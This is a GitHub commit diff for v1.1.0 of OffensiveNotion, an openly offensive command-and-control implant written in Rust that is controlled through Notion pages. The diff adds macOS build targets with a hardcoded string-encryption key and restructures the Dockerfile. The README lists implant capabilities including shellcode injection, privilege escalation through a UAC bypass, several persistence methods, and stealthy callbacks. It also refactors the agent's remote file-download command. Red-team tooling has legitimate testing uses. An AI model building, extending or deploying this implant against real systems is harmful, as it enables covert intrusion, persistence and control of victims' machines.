Skip to content

Commit

Permalink
Merge pull request #76 from mttaggart/dev
Browse files Browse the repository at this point in the history
v1.1.0
  • Loading branch information
mttaggart authored Mar 23, 2022
2 parents c3f9a9d + 775311f commit 6584c61
Show file tree
Hide file tree
Showing 33 changed files with 997 additions and 511 deletions.
31 changes: 29 additions & 2 deletions .github/workflows/rust.yml
Original file line number Diff line number Diff line change
Expand Up @@ -2,9 +2,9 @@ name: Rust

on:
push:
branches: [ main ]
branches: [ main, dev ]
pull_request:
branches: [ main ]
branches: [ main, dev ]

env:
CARGO_TERM_COLOR: always
Expand All @@ -21,11 +21,36 @@ jobs:
- name: Build
working-directory: ./agent
run: cargo build --release
env:
LITCRYPT_ENCRYPT_KEY: offensivenotion
- name: Upload artifact
uses: actions/upload-artifact@v2
with:
name: offensive_notion_linux_amd64
path: agent/target/release/offensive_notion

build_mac:

runs-on: macos-latest

steps:
- uses: actions/checkout@v2
- name: Update Rust
run: rustup update stable
- name: Add macOS Triple
run: rustup target add x86_64-pc-windows-gnu
- name: Set LitCrypt Key
run: export LITCRYPT_ENCRYPT_KEY="offensivenotion"
- name: Build
working-directory: ./agent
run: cargo build --release --target x86_64-apple-darwin
env:
LITCRYPT_ENCRYPT_KEY: offensivenotion
- name: Upload artifact
uses: actions/upload-artifact@v2
with:
name: offensive_notion_darwin_amd64
path: agent/target/x86_64-apple-darwin/release/offensive_notion

build_windows:

Expand All @@ -42,6 +67,8 @@ jobs:
- name: Build
working-directory: ./agent
run: cargo build --release --target x86_64-pc-windows-gnu
env:
LITCRYPT_ENCRYPT_KEY: offensivenotion
- name: Upload artifact
uses: actions/upload-artifact@v2
with:
Expand Down
3 changes: 3 additions & 0 deletions .gitignore
Original file line number Diff line number Diff line change
Expand Up @@ -11,6 +11,9 @@ bin/windows_debug/*
agent/src/config.rs.bak
Dockerfile.bak
utils/www/*
offensive_notion
offensive_notion.exe


# Excluding for experimentation
agent/src/config.rs
51 changes: 43 additions & 8 deletions Dockerfile
Original file line number Diff line number Diff line change
@@ -1,12 +1,47 @@
FROM rust:latest
FROM rust:latest AS rustbuilder

RUN apt update -y && apt install mingw-w64 -y
# Do the Rust setup, but do it just the once and separate the ON stuff

RUN mkdir /opt/OffensiveNotion
WORKDIR /opt/OffensiveNotion
COPY agent/ .
RUN echo "Installing dependencies"
RUN apt update
RUN apt install -y \
mingw-w64 \
gcc-multilib \
python3-pip \
cmake \
clang \
gcc \
g++ \
zlib1g-dev \
libmpc-dev \
libmpfr-dev \
libgmp-dev

RUN rustup target add x86_64-pc-windows-gnu && rustup toolchain install stable-x86_64-pc-windows-gnu
RUN rustup toolchain install nightly
RUN rustup default nightly
RUN rustup target add x86_64-pc-windows-gnu
RUN rustup target add x86_64-apple-darwin

# This Dockerfile gets edited dynamically by main.py. If using main.py, don't touch it. If building the Docker container from source, edit this with your target build and OS
RUN cargo build {OS} {RELEASE}

# Now we get to work
# FROM ubuntu:latest as onbuilder

RUN mkdir /OffensiveNotion
RUN mkdir /OffensiveNotion/agent
RUN mkdir /OffensiveNotion/agent/src
RUN mkdir /OffensiveNotion/agent/target
RUN mkdir /out
# We're going to be more explicit about this copy over to save space in the image
# Also, a fun hack to get the config.json if it exists, but copy the rest regardless
COPY ./main.py ./requirements.txt config.jso[n] /OffensiveNotion/
COPY ./utils /OffensiveNotion/utils
COPY ./agent/Cargo.toml ./agent/build.rs ./agent/offensive_notion.rc ./agent/notion.ico /OffensiveNotion/agent/
COPY ./agent/src/ /OffensiveNotion/agent/src/

WORKDIR /OffensiveNotion

# MacOS install. If not building a macOS agent, feel free to comment this RUN command out.
RUN git clone https://github.com/tpoechtrager/osxcross && cd osxcross && wget -nc https://s3.dockerproject.org/darwin/v2/MacOSX10.10.sdk.tar.xz && mv MacOSX10.10.sdk.tar.xz tarballs/ && echo "[*] Building osxcross. This may take a while..." &&UNATTENDED=yes OSX_VERSION_MIN=10.7 ./build.sh > /dev/null 2>&1 && echo "[+] Done!"

RUN pip3 install -r requirements.txt
ENTRYPOINT ["/usr/bin/python3", "main.py"]
91 changes: 4 additions & 87 deletions README.md
Original file line number Diff line number Diff line change
Expand Up @@ -13,7 +13,7 @@ A collaboration by:

[Documentation][wiki]   |   [Pull Requests][pr]   |   [Issues][issues]

![Release][release] ![GitHub last commit][lastcommit] [![Pull Requests][img-pr-badge]][pr] [![License][img-license-badge]][license]
![Release][release] [![Pull Requests][img-pr-badge]][pr] [![License][img-license-badge]][license]

</div>

Expand All @@ -34,101 +34,18 @@ Here's our blog post about it: [We Put A C2 In Your Notetaking App: OffensiveNot
## Features
* 📡 A full-featured C2 platform built on the Notion notetaking app.
* 🚧 Easy setup: set up your Notion developer API account, drop the Agent to the target, run and enjoy!
* 🖥️ Cross-platform agent built in Rust that compiles for Linux and Windows with the same code base.
* 🖥️ Cross-platform agent built in Rust that compiles for Linux, Windows, and macOS with the same code base. Includes a Python setup/controller script to simplify the process.
* ☢️ A range of capabilities including port-scanning, privilege escalation, asynchronous command execution, file download, and shellcode injection, all controlled from the comfort of a Notion page!
* 📜 Document as you go! The agent identifies special syntax to run commands, so feel free to use the rest of the Notion page to document your operation.
* 🤝 Collaborative by design! Notion allows for multiple people to edit and view your notes. Your listener page can handle multiple agents and you can invite your red team friends to your page. Congratulations, that's a teamserver!
* 📱Mobile C2! Use the Notion application from your mobile device to issue commands to your agents from anywhere in the world.
* 🕵️‍♀️ Stealth! C2 comms ride over the Notion API natively. Your C2 traffic looks like someone is using Notion for its intended purpose.

## Quickstart
See the [Quickstart guide](https://github.com/mttaggart/OffensiveNotion/wiki/2.-Quickstart) on how to get going right away!

## Documentation
Please see the [Wiki][wiki] for setup, usage, commands, and more!

## v1.0.0 - "Iron Age"
### MUST

<details>
<summary> Done </summary>

### Documentation
- [x] Quickstart
- [x] Install
- [x] Agent interaction
- [x] Commands
- [x] Linux commands
- [x] Windows commands

#### Misc
- [x] YARA Rules
#### Setup
- [x] Python Setup Script for config options
- [x] Dynamic Docker container spin up/tear down for agent generation
- [x] Parse args for Docker build options

#### Agent
- Commands:
- [x] `shell`
- [x] `cd`
- [x] `download`
- [x] `ps`
- [x] `pwd`
- [x] `save`
- [x] `shutdown`
- [x] `sleep [#]` to adjust callback

</details>

### SHOULD

<details>
<summary> Done </summary>

#### Agent
- [x] Jitter interval for callback time
- Commands:
- [x] `getprivs`
- [x] `sleep [#][%]` to adjust callback and jitter
- [x] `portscan`
- [x] Linux `elevate sudo`
- [x] Windows `elevate fodhelper`
- [x] Linux `persist bashrc`
- [x] Linux `persist cron`
- [x] Linux `persist service`
- [x] Windows `inject`
- [x] Windows `persist startup`
- [x] Windows `persist registry`

- Persist:
- [x] Windows `persist schtasks`
- [x] (Bonus) `wmic`

</details>

### COULD

<details>
<summary> Done </summary>

- [x] Compiles with Notion icon
- [x] Mirror the notion.ico file 😈 (slightly red tint to logo)
- [x] "Web delivery" via Flask and one-liner for remote download/exec (https://www.offensive-security.com/metasploit-unleashed/web-delivery/)
- [x] Agent checks in by POSTing hostname and username to page title with asterisk if in an admin context (getprivs at checkin)
- [x] Agent can spawn in kiosk mode Notion.so page at startup

</details>

<details>
<summary> For Next Release </summary>

- [ ] Linux `persist rc.local`
- [ ] Linux `inject` (more of a shellcode runner than injection)
- [ ] Windows `runas` (SCshell)
- [ ] Windows `inject-assembly` (⚠️ large lift ⚠️)
- [ ] (Bonus) Windows `persist comhijack`
- [ ] (Bonus) Windows `persist xll`

</details>

## Thanks & Acknowledgements

Expand Down
12 changes: 11 additions & 1 deletion agent/Cargo.lock

Some generated files are not rendered by default. Learn more about how customized files appear on GitHub.

6 changes: 3 additions & 3 deletions agent/Cargo.toml
Original file line number Diff line number Diff line change
@@ -1,6 +1,6 @@
[package]
name = "offensive_notion"
version = "1.0.0"
version = "1.1.0"
edition = "2021"
build = "build.rs"

Expand All @@ -12,7 +12,6 @@ reqwest = { version = "0.11", features = ["json"] }
tokio = { version = "1", features = ["full"] }
serde = { version = "1.0.136", features=["derive"] }
serde_json = "1.0"
winapi = "0.3.8"
libc = "0.2.66"
sysinfo = "0.23.0"
whoami = "1.2.1"
Expand All @@ -26,8 +25,9 @@ embed-resource = "1.6"

[target.'cfg(windows)'.dependencies]
kernel32-sys = "0.2.2"
winapi = { version = "0.3", features = ["winnt","winuser", "handleapi", "processthreadsapi", "securitybaseapi"] }
winapi = { version = "0.3.8", features = ["winnt","winuser", "handleapi", "processthreadsapi", "securitybaseapi"] }
winreg = "0.10"
houdini = "1.0.2"

[profile.dev]
opt-level = 0
Expand Down
10 changes: 6 additions & 4 deletions agent/src/cmd/cd.rs
Original file line number Diff line number Diff line change
@@ -1,14 +1,16 @@
use std::error::Error;
use std::path::Path;
use std::env::set_current_dir;
use crate::cmd::{CommandArgs, notion_out};

/// Changes the directory using system tools
/// Rather than the shell
pub fn handle(s: &String) -> Result<String, Box<dyn Error>> {
let new_path = Path::new(s.trim());
pub fn handle(cmd_args: &mut CommandArgs) -> Result<String, Box<dyn Error>> {
let path_arg = cmd_args.nth(0).unwrap_or_else(|| ".".to_string());
let new_path = Path::new(&path_arg);
match set_current_dir(new_path) {
Ok(_) => Ok(format!("Changed to {s}").to_string()),
Err(e) => Ok(e.to_string())
Ok(_) => notion_out!("Changed to {path_arg}"),
Err(e) => Ok(format!("{e}"))
}
}

19 changes: 9 additions & 10 deletions agent/src/cmd/download.rs
Original file line number Diff line number Diff line change
Expand Up @@ -2,31 +2,30 @@ use std::error::Error;
use std::io::copy;
use reqwest::Client;
use std::fs::File;
use crate::logger::Logger;
use crate::cmd::{CommandArgs, notion_out};
use crate::logger::{Logger, log_out};

/// Downloads a file to the local system.
///
/// Usage: `download [url] [path]`.
///
/// Defaults the the end of the URL without path option
pub async fn handle(s: &String, logger: &Logger) -> Result<String, Box<dyn Error>> {
pub async fn handle(cmd_args: &mut CommandArgs, logger: &Logger) -> Result<String, Box<dyn Error>> {
let client = Client::new();
// Get args
let mut args = s.trim().split(" ");
// Get URL as the first arg
let url = args.nth(0).unwrap_or_else(|| "");
let url: String = cmd_args.nth(0).unwrap_or_else(|| "".to_string());
// Get path as the 2nd arg or the last part of the URL
let path = args.nth(0).unwrap_or_else(|| url.split("/").last().unwrap());
let path: String = cmd_args.nth(0).unwrap_or_else(|| url.split("/").last().unwrap().to_string());
logger.debug(format!("Downloading from {url} to {path}"));
let r = client.get(url).send().await?;
if r.status().is_success() {
if let Ok(mut out_file) = File::create(path) {
if let Ok(mut out_file) = File::create(&path) {
match copy(&mut r.bytes().await?.as_ref(), &mut out_file) {
Ok(b) => { return Ok(format!("{b} bytes written to {path}").to_string());},
Err(_) => { return Ok("Could not write file".to_string()); }
Ok(b) => { return Ok(format!("{b} bytes written to {path}"));},
Err(_) => { return notion_out!("Could not write file"); }
}
} else {
return Ok("Could not write file".to_string());
return notion_out!("Could not write file");
}
}
Ok(r.text().await?)
Expand Down
Loading

0 comments on commit 6584c61

Please sign in to comment.